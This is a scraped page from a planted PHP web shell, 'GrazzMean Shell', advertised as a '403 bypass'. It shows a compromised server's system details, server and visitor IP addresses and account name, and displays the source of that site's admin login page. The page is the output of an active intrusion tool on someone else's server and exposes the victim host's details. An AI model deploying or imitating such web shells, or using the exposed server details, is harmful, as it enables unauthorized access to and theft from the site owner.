shell bypass 403

GrazzMean Shell

Uname: Linux server.thebazaar99.com 5.14.0-687.17.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 22 07:21:26 EDT 2026 x86_64
Software: Apache
PHP version: 8.3.32 [ PHP INFO ] PHP os: Linux
Server Ip: 163.227.92.254
Your Ip: 216.73.217.24
User: gutlooks (1003) | Group: gutlooks (1005)
Safe Mode: OFF
Disable Function:
exec,passthru,shell_exec,system

name : index.php
<?php
$succ= $err = "";
// function __autoload($class){
//     include("classess/".$class.".php");
//   }
  spl_autoload_register(function($class) {
    include("classess/".$class.".php");
});

$admin = new admin_login();
$admin->check_session();
  
if(isset($_POST['login'])){
   $un = $admin->cleaner($_POST['un']); 
   $p = $admin->cleaner($_POST['pass']); 
    $getSid = $admin->check_credintial("admin",$un,$p);

     if($getSid!=false){   
      if($admin->token_provide($getSid)==true){  //create session
        $succ =  "Login Successfully.";                      
        header("Location: dashboard.php");
        
      }  else {
                $err =  "problem";
      }
  }
  else {
      $err =  "<div class = 'alert alert-danger'>Wrong Credintial</div>";
      header("Refresh:2,url=index.php");
    }
}
?>
<style>
body, html {
    height: 100%;
    background-repeat: no-repeat;
   background: url(images/login-leadsplan.jpg) center center/cover no-repeat!important;
}

.card-container.card {
    max-width: 350px;
    padding: 40px 40px;
}

.btn {
    font-weight: 700;
    height: 36px;
    -moz-user-select: none;
    -webkit-user-select: none;
    user-select: none;
    cursor: default;
}

/*
 * Card component
 */
.card {
    background-color: #F7F7F7;
    /* just in case there no content*/
    padding: 20px 25px 30px;
    margin: 0 auto 25px;
    margin-top: 50px;
    /* shadows and rounded borders */
    -moz-border-radius: 2px;
    -webkit-border-radius: 2px;
    border-radius: 2px;
    -moz-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
    -webkit-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
    box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
}

.profile-img-card {
    width: 96px;
    height: 96px;
    margin: 0 auto 10px;
    display: block;
    -moz-border-radius: 50%;
    -webkit-border-radius: 50%;
    border-radius: 50%;
}

/*
 * Form styles
 */
.profile-name-card {
    font-size: 16px;
    font-weight: bold;
    text-align: center;
    margin: 10px 0 0;
    min-height: 1em;
}

.reauth-email {
    display: block;
    color: #404040;
    line-height: 2;
    margin-bottom: 10px;
    font-size: 14px;
    text-align: center;
    overflow: hidden;
    text-overflow: ellipsis;
    white-space: nowrap;
    -moz-box-sizing: border-box;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
}

.form-signin #inputEmail,
.form-signin #inputPassword {
    direction: ltr;
    height: 44px;
    font-size: 16px;
}

.form-signin input[type=email],
.form-signin input[type=password],
.form-signin input[type=text],
.form-signin button {
    width: 100%;
    display: block;
    margin-bottom: 10px;
    z-index: 1;
    position: relative;
    -moz-box-sizing: border-box;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
}

.form-signin .form-control:focus {
    border-color: rgb(104, 145, 162);
    outline: 0;
    -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgb(104, 145, 162);
    box-shadow: inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgb(104, 145, 162);
}

.btn.btn-signin {
    /*background-color: #4d90fe; */
    background-color: rgb(104, 145, 162);
    /* background-color: linear-gradient(rgb(104, 145, 162), rgb(12, 97, 33));*/
    padding: 0px;
    font-weight: 700;
    font-size: 14px;
    height: 36px;
    -moz-border-radius: 3px;
    -webkit-border-radius: 3px;
    border-radius: 3px;
    border: none;
    -o-transition: all 0.218s;
    -moz-transition: all 0.218s;
    -webkit-transition: all 0.218s;
    transition: all 0.218s;
}

.btn.btn-signin:hover,
.btn.btn-signin:active,
.btn.btn-signin:focus {
    background-color: rgb(12, 97, 33);
}

.forgot-password {
    color: rgb(104, 145, 162);
}

.forgot-password:hover,
.forgot-password:active,
.forgot-password:focus{
    color: rgb(12, 97, 33);
}
</style> 

    <link href="css/bootstrap.min.css" rel="stylesheet">
    <div class="container">
        <div class="card card-container">
           <!--  <img id="profile-img" style="width: 100%;" src="../images/website/call_logo.png" /> -->
           <!-- <h2>Abeey sir</h2> -->
            <p id="profile-name" class="profile-name-card"></p>
              <?=$succ;?>
              <?=$err;?>
            <form class="form-signin" method="post">
                <span id="reauth-email" class="reauth-email"></span>
                <input type="text" id="inputEmail" name="un" class="form-control" placeholder="Userid" required autofocus>
                <input type="password" id="inputPassword" name="pass" class="form-control" placeholder="Password" required>
                <!--<div id="remember" class="checkbox">-->
                <!--    <label>-->
                <!--        <input type="checkbox" checked  value="remember-me"> Remember me-->
                <!--    </label>-->
                <!--</div>-->
                <button class="btn btn-lg btn-primary btn-block btn-signin" type="submit" name = "login">Sign in</button>
            </form><!-- /form -->
           <!-- <a href="forgot.php" class="forgot-password">-->
           <!--    Forgot the password-->
           <!--</a> -->
        </div><!-- /card-container -->
    </div><!-- /container -->
    
    
© 2026 GrazzMean